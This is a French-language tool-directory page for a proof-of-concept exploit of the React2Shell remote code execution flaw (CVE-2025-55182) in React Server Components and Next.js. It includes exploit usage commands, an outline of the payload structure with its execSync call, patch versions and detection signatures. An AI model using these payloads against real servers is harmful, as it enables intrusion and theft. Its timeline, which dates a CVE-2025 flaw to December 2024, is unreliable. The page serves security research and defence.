Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/kondukto-io/vulnerable-next-js-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubkondukto-io/vulnerable-next-js-poc

vulnerable-next-js-poc

Voir le dépôt
515il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit de preuve de concept pour CVE-2025-55182 (React2Shell), une vulnérabilité RCE critique dans React Server Components via une désérialisation non sécurisée. Inclut un script d'exploit, la configuration d'une application vulnérable et des signatures de détection pour les tests de sécurité autorisés.

Partager

CVE-2025-55182 (React2Shell) - Preuve de concept

⚠️ RECHERCHE EN SÉCURITÉ UNIQUEMENT

Ce dépôt contient une preuve de concept pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans React Server Components. Ceci est destiné uniquement à des tests de sécurité autorisés et à des fins de recherche.

Présentation de la vulnérabilité

  • ID CVE : CVE-2025-55182
  • Nom : React2Shell
  • Score CVSS : 10.0 (CRITIQUE)
  • Type : CWE-502 - Désérialisation de données non fiables
  • Vecteur d'attaque : Réseau (AV:N)
  • Authentification : Aucune requise (PR:N)
  • Statut : Exploitation active dans la nature

Versions concernées

React :

  • 19.0.0
  • 19.1.0, 19.1.1
  • 19.2.0

Next.js :

  • 15.0.0 à 15.0.4
  • 15.1.0 à 15.1.8
  • 15.2.0 à 15.2.5
  • 16.0.0 à 16.0.6

Détails techniques

La vulnérabilité exploite une désérialisation non sécurisée dans le protocole Flight de React Server Components. Lorsqu'un serveur reçoit une charge utile spécialement conçue, il ne parvient pas à valider correctement la structure avant la désérialisation, ce qui permet à des données contrôlées par l'attaquant de manipuler l'exécution côté serveur.

Mécanisme d'attaque

  1. Injection de faux Chunk : L'attaquant envoie une charge utile Flight avec un objet imitant la structure interne d'un Chunk
  2. Détournement du gestionnaire de promesse : L'objet factice inclut une méthode then personnalisée
  3. Manipulation d'état : La désérialisation de React tente de résoudre le faux Chunk, déclenchant le gestionnaire de l'attaquant
  4. Exécution de code : Du JavaScript arbitraire s'exécute sur le serveur via process.mainModule.require('child_process')

Configuration du POC

Prérequis

  • Node.js 18+
  • Python 3.x (pour le script d'exploitation)
  • npm ou yarn

Installation

  1. Installer les dépendances :
npm install
  1. Démarrer le serveur vulnérable :
npm run dev

Le serveur démarrera sur http://localhost:3000

Structure de l'application vulnérable

app/
├── page.js              # Main page with ServerForm
├── ServerForm.js        # Client component with form
├── actions.js           # Vulnerable Server Action
└── layout.js            # Root layout

Exécution de l'exploit

Utilisation de base

python3 exploit.py -t http://localhost:3000 -c "whoami"

Options

  • -t, --target : URL cible (requis)
  • -c, --command : Commande shell à exécuter (par défaut : id)
  • --check-only : Vérifier uniquement si la cible semble vulnérable

Exemples

Vérifier si la cible est vulnérable :

python3 exploit.py -t http://localhost:3000 --check-only

Exécuter des commandes arbitraires :

# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"

# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"

# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"

# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"

Structure de la charge utile de l'exploit

L'exploit utilise des données de formulaire multipart avec :

Field "0": Malicious JSON with custom 'then' handler
Field "1": Reference to field 0 ($@0)
Header: Next-Action: x (triggers RSC processing)

La charge utile manipule l'objet interne _response pour exécuter :

process.mainModule.require('child_process').execSync('<command>')

Mesures d'atténuation

Actions immédiates

  1. Mettre à jour React :

    npm install [email protected] [email protected]
    
  2. Mettre à jour Next.js :

    npm install [email protected]  # or latest patched version
    

Versions corrigées

  • React : ≥ 19.3.0
  • Next.js :
    • ≥ 15.0.5
    • ≥ 15.1.9
    • ≥ 15.2.6
    • ≥ 16.0.7

Détection

Indicateurs de compromission

  • Requêtes POST inattendues vers les points de terminaison RSC avec l'en-tête Next-Action
  • Charges utiles de données de formulaire multipart avec des références $@
  • Propriétés then suspectes dans les corps de requête
  • Anomalies d'exécution de processus côté serveur

Signatures réseau

POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@

Chronologie

  • 3 décembre 2024 : Divulgation publique
  • 5 décembre 2024 : Exploitation active observée
  • 26 décembre 2024 : Date limite de conformité CISA KEV

Références

  • Fiche officielle CVE
  • Entrée NVD
  • Catalogue CISA KEV
  • Avis de sécurité Wiz
  • Analyse technique OffSec

Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations.

NE PAS :

  • Utiliser cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester
  • Déployer ceci dans des environnements de production
  • Partager le code de l'exploit sans contexte ni avertissements appropriés

Licence

Licence MIT - Uniquement à des fins de recherche en sécurité

Télécharger l’outil